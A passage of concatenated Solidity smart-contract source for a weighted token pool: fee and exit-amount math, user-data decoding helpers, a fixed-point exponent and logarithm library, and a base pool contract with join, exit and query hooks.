fees. uint256 taxablePercentage = normalizedWeight.complement(); // Swap fees are typically charged on 'token in', but there is no 'token in' here, so we apply it // to 'token out'. This results in slightly larger price impact. Fees are rounded up. uint256 taxableAmount = amountOutWithoutFee.mulUp(taxablePercentage); uint256 nonTaxableAmount = amountOutWithoutFee.sub(taxableAmount); return nonTaxableAmount.add(taxableAmount.mulDown(swapFee.complement())); } function _calcTokensOutGivenExactBptIn( uint256[] memory balances, uint256 bptAmountIn, uint256 totalBPT ) internal pure returns (uint256[] memory) { /********************************************************************************************** // exactBPTInForTokensOut // // (per token) // // aO = amountOut / bptIn \ // // b = balance a0 = b * | --------------------- | // // bptIn = bptAmountIn \ totalBPT / // // bpt = totalBPT // **********************************************************************************************/ // Since we're computing an amount out, we round down overall. This means rounding down on both the // multiplication and division. uint256 bptRatio = bptAmountIn.divDown(totalBPT); uint256[] memory amountsOut = new uint256[](balances.length); for (uint256 i = 0; i < balances.length; i++) { amountsOut[i] = balances[i].mulDown(bptRatio); } return amountsOut; } function _calcDueTokenProtocolSwapFeeAmount( uint256 balance, uint256 normalizedWeight, uint256 previousInvariant, uint256 currentInvariant, uint256 protocolSwapFeePercentage ) internal pure returns (uint256) { /********************************************************************************* /* protocolSwapFeePercentage * balanceToken * ( 1 - (previousInvariant / currentInvariant) ^ (1 / weightToken)) *********************************************************************************/ if (currentInvariant <= previousInvariant) { // This shouldn't happen outside of rounding errors, but have this safeguard nonetheless to prevent the Pool // from entering a locked state in which joins and exits revert while computing accumulated swap fees. return 0; } // We round down to prevent issues in the Pool's accounting, even if it means paying slightly less in protocol // fees to the Vault. // Fee percentage and balance multiplications round down, while the subtrahend (power) rounds up (as does the // base). Because previousInvariant / currentInvariant <= 1, the exponent rounds down. uint256 base = previousInvariant.divUp(currentInvariant); uint256 exponent = FixedPoint.ONE.divDown(normalizedWeight); // Because the exponent is larger than one, the base of the power function has a lower bound. We cap to this // value to avoid numeric issues, which means in the extreme case (where the invariant growth is larger than // 1 / min exponent) the Pool will pay less in protocol fees than it should. base = Math.max(base, FixedPoint.MIN_POW_BASE_FREE_EXPONENT); uint256 power = base.powUp(exponent); uint256 tokenAccruedFees = balance.mulDown(power.complement()); return tokenAccruedFees.mulDown(protocolSwapFeePercentage); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../../lib/openzeppelin/IERC20.sol"; import "./WeightedPool.sol"; library WeightedPoolUserDataHelpers { function joinKind(bytes memory self) internal pure returns (WeightedPool.JoinKind) { return abi.decode(self, (WeightedPool.JoinKind)); } function exitKind(bytes memory self) internal pure returns (WeightedPool.ExitKind) { return abi.decode(self, (WeightedPool.ExitKind)); } // Joins function initialAmountsIn(bytes memory self) internal pure returns (uint256[] memory amountsIn) { (, amountsIn) = abi.decode(self, (WeightedPool.JoinKind, uint256[])); } function exactTokensInForBptOut(bytes memory self) internal pure returns (uint256[] memory amountsIn, uint256 minBPTAmountOut) { (, amountsIn, minBPTAmountOut) = abi.decode(self, (WeightedPool.JoinKind, uint256[], uint256)); } function tokenInForExactBptOut(bytes memory self) internal pure returns (uint256 bptAmountOut, uint256 tokenIndex) { (, bptAmountOut, tokenIndex) = abi.decode(self, (WeightedPool.JoinKind, uint256, uint256)); } // Exits function exactBptInForTokenOut(bytes memory self) internal pure returns (uint256 bptAmountIn, uint256 tokenIndex) { (, bptAmountIn, tokenIndex) = abi.decode(self, (WeightedPool.ExitKind, uint256, uint256)); } function exactBptInForTokensOut(bytes memory self) internal pure returns (uint256 bptAmountIn) { (, bptAmountIn) = abi.decode(self, (WeightedPool.ExitKind, uint256)); } function bptInForExactTokensOut(bytes memory self) internal pure returns (uint256[] memory amountsOut, uint256 maxBPTAmountIn) { (, amountsOut, maxBPTAmountIn) = abi.decode(self, (WeightedPool.ExitKind, uint256[], uint256)); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General internal License for more details. // You should have received a copy of the GNU General internal License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /* solhint-disable */ /** * @dev Exponentiation and logarithm functions for 18 decimal fixed point numbers (both base and exponent/argument). * * Exponentiation and logarithm with arbitrary bases (x^y and log_x(y)) are implemented by conversion to natural * exponentiation and logarithm (where the base is Euler's number). * * @author Fernando Martinelli - @fernandomartinelli * @author Sergio Yuhjtman - @sergioyuhjtman * @author Daniel Fernandez - @dmf7z */ library LogExpMath { // All fixed point multiplications and divisions are inlined. This means we need to divide by ONE when multiplying // two numbers, and multiply by ONE when dividing them. // All arguments and return values are 18 decimal fixed point numbers. int256 constant ONE_18 = 1e18; // Internally, intermediate values are computed with higher precision as 20 decimal fixed point numbers, and in the // case of ln36, 36 decimals. int256 constant ONE_20 = 1e20; int256 constant ONE_36 = 1e36; // The domain of natural exponentiation is bound by the word size and number of decimals used. // // Because internally the result will be stored using 20 decimals, the largest possible result is // (2^255 - 1) / 10^20, which makes the largest exponent ln((2^255 - 1) / 10^20) = 130.700829182905140221. // The smallest possible result is 10^(-18), which makes largest negative argument // ln(10^(-18)) = -41.446531673892822312. // We use 130.0 and -41.0 to have some safety margin. int256 constant MAX_NATURAL_EXPONENT = 130e18; int256 constant MIN_NATURAL_EXPONENT = -41e18; // Bounds for ln_36's argument. Both ln(0.9) and ln(1.1) can be represented with 36 decimal places in a fixed point // 256 bit integer. int256 constant LN_36_LOWER_BOUND = ONE_18 - 1e17; int256 constant LN_36_UPPER_BOUND = ONE_18 + 1e17; uint256 constant MILD_EXPONENT_BOUND = 2**254 / uint256(ONE_20); // 18 decimal constants int256 constant x0 = 128000000000000000000; // 2ˆ7 int256 constant a0 = 38877084059945950922200000000000000000000000000000000000; // eˆ(x0) (no decimals) int256 constant x1 = 64000000000000000000; // 2ˆ6 int256 constant a1 = 6235149080811616882910000000; // eˆ(x1) (no decimals) // 20 decimal constants int256 constant x2 = 3200000000000000000000; // 2ˆ5 int256 constant a2 = 7896296018268069516100000000000000; // eˆ(x2) int256 constant x3 = 1600000000000000000000; // 2ˆ4 int256 constant a3 = 888611052050787263676000000; // eˆ(x3) int256 constant x4 = 800000000000000000000; // 2ˆ3 int256 constant a4 = 298095798704172827474000; // eˆ(x4) int256 constant x5 = 400000000000000000000; // 2ˆ2 int256 constant a5 = 5459815003314423907810; // eˆ(x5) int256 constant x6 = 200000000000000000000; // 2ˆ1 int256 constant a6 = 738905609893065022723; // eˆ(x6) int256 constant x7 = 100000000000000000000; // 2ˆ0 int256 constant a7 = 271828182845904523536; // eˆ(x7) int256 constant x8 = 50000000000000000000; // 2ˆ-1 int256 constant a8 = 164872127070012814685; // eˆ(x8) int256 constant x9 = 25000000000000000000; // 2ˆ-2 int256 constant a9 = 128402541668774148407; // eˆ(x9) int256 constant x10 = 12500000000000000000; // 2ˆ-3 int256 constant a10 = 113314845306682631683; // eˆ(x10) int256 constant x11 = 6250000000000000000; // 2ˆ-4 int256 constant a11 = 106449445891785942956; // eˆ(x11) /** * @dev Exponentiation (x^y) with unsigned 18 decimal fixed point base and exponent. * * Reverts if ln(x) * y is smaller than `MIN_NATURAL_EXPONENT`, or larger than `MAX_NATURAL_EXPONENT`. */ function pow(uint256 x, uint256 y) internal pure returns (uint256) { if (y == 0) { // We solve the 0^0 indetermination by making it equal one. return uint256(ONE_18); } if (x == 0) { return 0; } // Instead of computing x^y directly, we instead rely on the properties of logarithms and exponentiation to // arrive at that result. In particular, exp(ln(x)) = x, and ln(x^y) = y * ln(x). This means // x^y = exp(y * ln(x)). // The ln function takes a signed value, so we need to make sure x fits in the signed 256 bit range. _require(x < 2**255, Errors.X_OUT_OF_BOUNDS); int256 x_int256 = int256(x); // We will compute y * ln(x) in a single step. Depending on the value of x, we can either use ln or ln_36. In // both cases, we leave the division by ONE_18 (due to fixed point multiplication) to the end. // This prevents y * ln(x) from overflowing, and at the same time guarantees y fits in the signed 256 bit range. _require(y < MILD_EXPONENT_BOUND, Errors.Y_OUT_OF_BOUNDS); int256 y_int256 = int256(y); int256 logx_times_y; if (LN_36_LOWER_BOUND < x_int256 && x_int256 < LN_36_UPPER_BOUND) { int256 ln_36_x = ln_36(x_int256); // ln_36_x has 36 decimal places, so multiplying by y_int256 isn't as straightforward, since we can't just // bring y_int256 to 36 decimal places, as it might overflow. Instead, we perform two 18 decimal // multiplications and add the results: one with the first 18 decimals of ln_36_x, and one with the // (downscaled) last 18 decimals. logx_times_y = ((ln_36_x / ONE_18) * y_int256 + ((ln_36_x % ONE_18) * y_int256) / ONE_18); } else { logx_times_y = ln(x_int256) * y_int256; } logx_times_y /= ONE_18; // Finally, we compute exp(y * ln(x)) to arrive at x^y _require( MIN_NATURAL_EXPONENT <= logx_times_y && logx_times_y <= MAX_NATURAL_EXPONENT, Errors.PRODUCT_OUT_OF_BOUNDS ); return uint256(exp(logx_times_y)); } /** * @dev Natural exponentiation (e^x) with signed 18 decimal fixed point exponent. * * Reverts if `x` is smaller than MIN_NATURAL_EXPONENT, or larger than `MAX_NATURAL_EXPONENT`. */ function exp(int256 x) internal pure returns (int256) { _require(x >= MIN_NATURAL_EXPONENT && x <= MAX_NATURAL_EXPONENT, Errors.INVALID_EXPONENT); if (x < 0) { // We only handle positive exponents: e^(-x) is computed as 1 / e^x. We can safely make x positive since it // fits in the signed 256 bit range (as it is larger than MIN_NATURAL_EXPONENT). // Fixed point division requires multiplying by ONE_18. return ((ONE_18 * ONE_18) / exp(-x)); } // First, we use the fact that e^(x+y) = e^x * e^y to decompose x into a sum of powers of two, which we call x_n, // where x_n == 2^(7 - n), and e^x_n = a_n has been precomputed. We choose the first x_n, x0, to equal 2^7 // because all larger powers are larger than MAX_NATURAL_EXPONENT, and therefore not present in the // decomposition. // At the end of this process we will have the product of all e^x_n = a_n that apply, and the remainder of this // decomposition, which will be lower than the smallest x_n. // exp(x) = k_0 * a_0 * k_1 * a_1 * ... + k_n * a_n * exp(remainder), where each k_n equals either 0 or 1. // We mutate x by subtracting x_n, making it the remainder of the decomposition. // The first two a_n (e^(2^7) and e^(2^6)) are too large if stored as 18 decimal numbers, and could cause // intermediate overflows. Instead we store them as plain integers, with 0 decimals. // Additionally, x0 + x1 is larger than MAX_NATURAL_EXPONENT, which means they will not both be present in the // decomposition. // For each x_n, we test if that term is present in the decomposition (if x is larger than it), and if so deduct // it and compute the accumulated product. int256 firstAN; if (x >= x0) { x -= x0; firstAN = a0; } else if (x >= x1) { x -= x1; firstAN = a1; } else { firstAN = 1; // One with no decimal places } // We now transform x into a 20 decimal fixed point number, to have enhanced precision when computing the // smaller terms. x *= 100; // `product` is the accumulated product of all a_n (except a0 and a1), which starts at 20 decimal fixed point // one. Recall that fixed point multiplication requires dividing by ONE_20. int256 product = ONE_20; if (x >= x2) { x -= x2; product = (product * a2) / ONE_20; } if (x >= x3) { x -= x3; product = (product * a3) / ONE_20; } if (x >= x4) { x -= x4; product = (product * a4) / ONE_20; } if (x >= x5) { x -= x5; product = (product * a5) / ONE_20; } if (x >= x6) { x -= x6; product = (product * a6) / ONE_20; } if (x >= x7) { x -= x7; product = (product * a7) / ONE_20; } if (x >= x8) { x -= x8; product = (product * a8) / ONE_20; } if (x >= x9) { x -= x9; product = (product * a9) / ONE_20; } // x10 and x11 are unnecessary here since we have high enough precision already. // Now we need to compute e^x, where x is small (in particular, it is smaller than x9). We use the Taylor series // expansion for e^x: 1 + x + (x^2 / 2!) + (x^3 / 3!) + ... + (x^n / n!). int256 seriesSum = ONE_20; // The initial one in the sum, with 20 decimal places. int256 term; // Each term in the sum, where the nth term is (x^n / n!). // The first term is simply x. term = x; seriesSum += term; // Each term (x^n / n!) equals the previous one times x, divided by n. Since x is a fixed point number, // multiplying by it requires dividing by ONE_20, but dividing by the non-fixed point n values does not. term = ((term * x) / ONE_20) / 2; seriesSum += term; term = ((term * x) / ONE_20) / 3; seriesSum += term; term = ((term * x) / ONE_20) / 4; seriesSum += term; term = ((term * x) / ONE_20) / 5; seriesSum += term; term = ((term * x) / ONE_20) / 6; seriesSum += term; term = ((term * x) / ONE_20) / 7; seriesSum += term; term = ((term * x) / ONE_20) / 8; seriesSum += term; term = ((term * x) / ONE_20) / 9; seriesSum += term; term = ((term * x) / ONE_20) / 10; seriesSum += term; term = ((term * x) / ONE_20) / 11; seriesSum += term; term = ((term * x) / ONE_20) / 12; seriesSum += term; // 12 Taylor terms are sufficient for 18 decimal precision. // We now have the first a_n (with no decimals), and the product of all other a_n present, and the Taylor // approximation of the exponentiation of the remainder (both with 20 decimals). All that remains is to multiply // all three (one 20 decimal fixed point multiplication, dividing by ONE_20, and one integer multiplication), // and then drop two digits to return an 18 decimal value. return (((product * seriesSum) / ONE_20) * firstAN) / 100; } /** * @dev Natural logarithm (ln(a)) with signed 18 decimal fixed point argument. */ function ln(int256 a) internal pure returns (int256) { // The real natural logarithm is not defined for negative numbers or zero. _require(a > 0, Errors.OUT_OF_BOUNDS); if (a < ONE_18) { // Since ln(a^k) = k * ln(a), we can compute ln(a) as ln(a) = ln((1/a)^(-1)) = - ln((1/a)). If a is less // than one, 1/a will be greater than one, and this if statement will not be entered in the recursive call. // Fixed point division requires multiplying by ONE_18. return (-ln((ONE_18 * ONE_18) / a)); } // First, we use the fact that ln^(a * b) = ln(a) + ln(b) to decompose ln(a) into a sum of powers of two, which // we call x_n, where x_n == 2^(7 - n), which are the natural logarithm of precomputed quantities a_n (that is, // ln(a_n) = x_n). We choose the first x_n, x0, to equal 2^7 because the exponential of all larger powers cannot // be represented as 18 fixed point decimal numbers in 256 bits, and are therefore larger than a. // At the end of this process we will have the sum of all x_n = ln(a_n) that apply, and the remainder of this // decomposition, which will be lower than the smallest a_n. // ln(a) = k_0 * x_0 + k_1 * x_1 + ... + k_n * x_n + ln(remainder), where each k_n equals either 0 or 1. // We mutate a by subtracting a_n, making it the remainder of the decomposition. // For reasons related to how `exp` works, the first two a_n (e^(2^7) and e^(2^6)) are not stored as fixed point // numbers with 18 decimals, but instead as plain integers with 0 decimals, so we need to multiply them by // ONE_18 to convert them to fixed point. // For each a_n, we test if that term is present in the decomposition (if a is larger than it), and if so divide // by it and compute the accumulated sum. int256 sum = 0; if (a >= a0 * ONE_18) { a /= a0; // Integer, not fixed point division sum += x0; } if (a >= a1 * ONE_18) { a /= a1; // Integer, not fixed point division sum += x1; } // All other a_n and x_n are stored as 20 digit fixed point numbers, so we convert the sum and a to this format. sum *= 100; a *= 100; // Because further a_n are 20 digit fixed point numbers, we multiply by ONE_20 when dividing by them. if (a >= a2) { a = (a * ONE_20) / a2; sum += x2; } if (a >= a3) { a = (a * ONE_20) / a3; sum += x3; } if (a >= a4) { a = (a * ONE_20) / a4; sum += x4; } if (a >= a5) { a = (a * ONE_20) / a5; sum += x5; } if (a >= a6) { a = (a * ONE_20) / a6; sum += x6; } if (a >= a7) { a = (a * ONE_20) / a7; sum += x7; } if (a >= a8) { a = (a * ONE_20) / a8; sum += x8; } if (a >= a9) { a = (a * ONE_20) / a9; sum += x9; } if (a >= a10) { a = (a * ONE_20) / a10; sum += x10; } if (a >= a11) { a = (a * ONE_20) / a11; sum += x11; } // a is now a small number (smaller than a_11, which roughly equals 1.06). This means we can use a Taylor series // that converges rapidly for values of `a` close to one - the same one used in ln_36. // Let z = (a - 1) / (a + 1). // ln(a) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1)) // Recall that 20 digit fixed point division requires multiplying by ONE_20, and multiplication requires // division by ONE_20. int256 z = ((a - ONE_20) * ONE_20) / (a + ONE_20); int256 z_squared = (z * z) / ONE_20; // num is the numerator of the series: the z^(2 * n + 1) term int256 num = z; // seriesSum holds the accumulated sum of each term in the series, starting with the initial z int256 seriesSum = num; // In each step, the numerator is multiplied by z^2 num = (num * z_squared) / ONE_20; seriesSum += num / 3; num = (num * z_squared) / ONE_20; seriesSum += num / 5; num = (num * z_squared) / ONE_20; seriesSum += num / 7; num = (num * z_squared) / ONE_20; seriesSum += num / 9; num = (num * z_squared) / ONE_20; seriesSum += num / 11; // 6 Taylor terms are sufficient for 36 decimal precision. // Finally, we multiply by 2 (non fixed point) to compute ln(remainder) seriesSum *= 2; // We now have the sum of all x_n present, and the Taylor approximation of the logarithm of the remainder (both // with 20 decimals). All that remains is to sum these two, and then drop two digits to return a 18 decimal // value. return (sum + seriesSum) / 100; } /** * @dev Logarithm (log(arg, base), with signed 18 decimal fixed point base and argument argument. */ function log(int256 arg, int256 base) internal pure returns (int256) { // This performs a simple base change: log(arg, base) = ln(arg) / ln(base). // Both logBase and logArg are computed as 36 decimal fixed point numbers, either by using ln_36, or by // upscaling. int256 logBase; if (LN_36_LOWER_BOUND < base && base < LN_36_UPPER_BOUND) { logBase = ln_36(base); } else { logBase = ln(base) * ONE_18; } int256 logArg; if (LN_36_LOWER_BOUND < arg && arg < LN_36_UPPER_BOUND) { logArg = ln_36(arg); } else { logArg = ln(arg) * ONE_18; } // When dividing, we multiply by ONE_18 to arrive at a result with 18 decimal places return (logArg * ONE_18) / logBase; } /** * @dev High precision (36 decimal places) natural logarithm (ln(x)) with signed 18 decimal fixed point argument, * for x close to one. * * Should only be used if x is between LN_36_LOWER_BOUND and LN_36_UPPER_BOUND. */ function ln_36(int256 x) private pure returns (int256) { // Since ln(1) = 0, a value of x close to one will yield a very small result, which makes using 36 digits // worthwhile. // First, we transform x to a 36 digit fixed point value. x *= ONE_18; // We will use the following Taylor expansion, which converges very rapidly. Let z = (x - 1) / (x + 1). // ln(x) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1)) // Recall that 36 digit fixed point division requires multiplying by ONE_36, and multiplication requires // division by ONE_36. int256 z = ((x - ONE_36) * ONE_36) / (x + ONE_36); int256 z_squared = (z * z) / ONE_36; // num is the numerator of the series: the z^(2 * n + 1) term int256 num = z; // seriesSum holds the accumulated sum of each term in the series, starting with the initial z int256 seriesSum = num; // In each step, the numerator is multiplied by z^2 num = (num * z_squared) / ONE_36; seriesSum += num / 3; num = (num * z_squared) / ONE_36; seriesSum += num / 5; num = (num * z_squared) / ONE_36; seriesSum += num / 7; num = (num * z_squared) / ONE_36; seriesSum += num / 9; num = (num * z_squared) / ONE_36; seriesSum += num / 11; num = (num * z_squared) / ONE_36; seriesSum += num / 13; num = (num * z_squared) / ONE_36; seriesSum += num / 15; // 8 Taylor terms are sufficient for 36 decimal precision. // All that remains is multiplying by 2 (non fixed point). return seriesSum * 2; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../lib/math/FixedPoint.sol"; import "../lib/helpers/InputHelpers.sol"; import "../lib/helpers/TemporarilyPausable.sol"; import "../lib/openzeppelin/ERC20.sol"; import "./BalancerPoolToken.sol"; import "./BasePoolAuthorization.sol"; import "../vault/interfaces/IVault.sol"; import "../vault/interfaces/IBasePool.sol"; // This contract relies on tons of immutable state variables to perform efficient lookup, without resorting to storage // reads. Because immutable arrays are not supported, we instead declare a fixed set of state variables plus a total // count, resulting in a large number of state variables. // solhint-disable max-states-count /** * @dev Reference implementation for the base layer of a Pool contract that manages a single Pool with an immutable set * of registered tokens, no Asset Managers, an admin-controlled swap fee percentage, and an emergency pause mechanism. * * Note that neither swap fees nor the pause mechanism are used by this contract. They are passed through so that * derived contracts can use them via the `_addSwapFeeAmount` and `_subtractSwapFeeAmount` functions, and the * `whenNotPaused` modifier. * * No admin permissions are checked here: instead, this contract delegates that to the Vault's own Authorizer. * * Because this contract doesn't implement the swap hooks, derived contracts should generally inherit from * BaseGeneralPool or BaseMinimalSwapInfoPool. Otherwise, subclasses must inherit from the corresponding interfaces * and implement the swap callbacks themselves. */ abstract contract BasePool is IBasePool, BasePoolAuthorization, BalancerPoolToken, TemporarilyPausable { using FixedPoint for uint256; uint256 private constant _MIN_TOKENS = 2; uint256 private constant _MAX_TOKENS = 8; // 1e18 corresponds to 1.0, or a 100% fee uint256 private constant _MIN_SWAP_FEE_PERCENTAGE = 1e12; // 0.0001% uint256 private constant _MAX_SWAP_FEE_PERCENTAGE = 1e17; // 10% uint256 private constant _MINIMUM_BPT = 1e6; uint256 internal _swapFeePercentage; IVault private immutable _vault; bytes32 private immutable _poolId; uint256 private immutable _totalTokens; IERC20 internal immutable _token0; IERC20 internal immutable _token1; IERC20 internal immutable _token2; IERC20 internal immutable _token3; IERC20 internal immutable _token4; IERC20 internal immutable _token5; IERC20 internal immutable _token6; IERC20 internal immutable _token7; // All token balances are normalized to behave as if the token had 18 decimals. We assume a token's decimals will // not change throughout its lifetime, and store the corresponding scaling factor for each at construction time. // These factors are always greater than or equal to one: tokens with more than 18 decimals are not supported. uint256 internal immutable _scalingFactor0; uint256 internal immutable _scalingFactor1; uint256 internal immutable _scalingFactor2; uint256 internal immutable _scalingFactor3; uint256 internal immutable _scalingFactor4; uint256 internal immutable _scalingFactor5; uint256 internal immutable _scalingFactor6; uint256 internal immutable _scalingFactor7; event SwapFeePercentageChanged(uint256 swapFeePercentage); constructor( IVault vault, IVault.PoolSpecialization specialization, string memory name, string memory symbol, IERC20[] memory tokens, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) // Base Pools are expected to be deployed using factories. By using the factory address as the action // disambiguator, we make all Pools deployed by the same factory share action identifiers. This allows for // simpler management of permissions (such as being able to manage granting the 'set fee percentage' action in // any Pool created by the same factory), while still making action identifiers unique among different factories // if the selectors match, preventing accidental errors. Authentication(bytes32(uint256(msg.sender))) BalancerPoolToken(name, symbol) BasePoolAuthorization(owner) TemporarilyPausable(pauseWindowDuration, bufferPeriodDuration) { _require(tokens.length >= _MIN_TOKENS, Errors.MIN_TOKENS); _require(tokens.length <= _MAX_TOKENS, Errors.MAX_TOKENS); // The Vault only requires the token list to be ordered for the Two Token Pools specialization. However, // to make the developer experience consistent, we are requiring this condition for all the native pools. // Also, since these Pools will register tokens only once, we can ensure the Pool tokens will follow the same // order. We rely on this property to make Pools simpler to write, as it lets us assume that the // order of token-specific parameters (such as token weights) will not change. InputHelpers.ensureArrayIsSorted(tokens); _setSwapFeePercentage(swapFeePercentage); bytes32 poolId = vault.registerPool(specialization); // Pass in zero addresses for Asset Managers vault.registerTokens(poolId, tokens, new address[](tokens.length)); // Set immutable state variables - these cannot be read from during construction _vault = vault; _poolId = poolId; _totalTokens = tokens.length; // Immutable variables cannot be initialized inside an if statement, so we must do conditional assignments _token0 = tokens.length > 0 ? tokens[0] : IERC20(0); _token1 = tokens.length > 1 ? tokens[1] : IERC20(0); _token2 = tokens.length > 2 ? tokens[2] : IERC20(0); _token3 = tokens.length > 3 ? tokens[3] : IERC20(0); _token4 = tokens.length > 4 ? tokens[4] : IERC20(0); _token5 = tokens.length > 5 ? tokens[5] : IERC20(0); _token6 = tokens.length > 6 ? tokens[6] : IERC20(0); _token7 = tokens.length > 7 ? tokens[7] : IERC20(0); _scalingFactor0 = tokens.length > 0 ? _computeScalingFactor(tokens[0]) : 0; _scalingFactor1 = tokens.length > 1 ? _computeScalingFactor(tokens[1]) : 0; _scalingFactor2 = tokens.length > 2 ? _computeScalingFactor(tokens[2]) : 0; _scalingFactor3 = tokens.length > 3 ? _computeScalingFactor(tokens[3]) : 0; _scalingFactor4 = tokens.length > 4 ? _computeScalingFactor(tokens[4]) : 0; _scalingFactor5 = tokens.length > 5 ? _computeScalingFactor(tokens[5]) : 0; _scalingFactor6 = tokens.length > 6 ? _computeScalingFactor(tokens[6]) : 0; _scalingFactor7 = tokens.length > 7 ? _computeScalingFactor(tokens[7]) : 0; } // Getters / Setters function getVault() public view returns (IVault) { return _vault; } function getPoolId() public view returns (bytes32) { return _poolId; } function _getTotalTokens() internal view returns (uint256) { return _totalTokens; } function getSwapFeePercentage() external view returns (uint256) { return _swapFeePercentage; } // Caller must be approved by the Vault's Authorizer function setSwapFeePercentage(uint256 swapFeePercentage) external virtual authenticate whenNotPaused { _setSwapFeePercentage(swapFeePercentage); } function _setSwapFeePercentage(uint256 swapFeePercentage) private { _require(swapFeePercentage >= _MIN_SWAP_FEE_PERCENTAGE, Errors.MIN_SWAP_FEE_PERCENTAGE); _require(swapFeePercentage <= _MAX_SWAP_FEE_PERCENTAGE, Errors.MAX_SWAP_FEE_PERCENTAGE); _swapFeePercentage = swapFeePercentage; emit SwapFeePercentageChanged(swapFeePercentage); } // Caller must be approved by the Vault's Authorizer function setPaused(bool paused) external authenticate { _setPaused(paused); } // Join / Exit Hooks modifier onlyVault(bytes32 poolId) { _require(msg.sender == address(getVault()), Errors.CALLER_NOT_VAULT); _require(poolId == getPoolId(), Errors.INVALID_POOL_ID); _; } function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { uint256[] memory scalingFactors = _scalingFactors(); if (totalSupply() == 0) { (uint256 bptAmountOut, uint256[] memory amountsIn) = _onInitializePool(poolId, sender, recipient, userData); // On initialization, we lock _MINIMUM_BPT by minting it for the zero address. This BPT acts as a minimum // as it will never be burned, which reduces potential issues with rounding, and also prevents the Pool from // ever being fully drained. _require(bptAmountOut >= _MINIMUM_BPT, Errors.MINIMUM_BPT); _mintPoolTokens(address(0), _MINIMUM_BPT); _mintPoolTokens(recipient, bptAmountOut - _MINIMUM_BPT); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn, scalingFactors); return (amountsIn, new uint256[](_getTotalTokens())); } else { _upscaleArray(balances, scalingFactors); (uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts) = _onJoinPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); // Note we no longer use `balances` after calling `_onJoinPool`, which may mutate it. _mintPoolTokens(recipient, bptAmountOut); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn, scalingFactors); // dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(dueProtocolFeeAmounts, scalingFactors); return (amountsIn, dueProtocolFeeAmounts); } } function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { uint256[] memory scalingFactors = _scalingFactors(); _upscaleArray(balances, scalingFactors); (uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts) = _onExitPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); // Note we no longer use `balances` after calling `_onExitPool`, which may mutate it. _burnPoolTokens(sender, bptAmountIn); // Both amountsOut and dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(amountsOut, scalingFactors); _downscaleDownArray(dueProtocolFeeAmounts, scalingFactors); return (amountsOut, dueProtocolFeeAmounts); } // Query functions /** * @dev Returns the amount of BPT that would be granted to `recipient` if the `onJoinPool` hook were called by the * Vault with the same arguments, along with the number of tokens `sender` would have to supply. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryJoin( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptOut, uint256[] memory amountsIn) { InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens()); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onJoinPool, _downscaleUpArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptOut, amountsIn); } /** * @dev Returns the amount of BPT that would be burned from `sender` if the `onExitPool` hook were called by the * Vault with the same arguments, along with the number of tokens `recipient` would receive. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryExit( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptIn, uint256[] memory amountsOut) { InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens()); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, 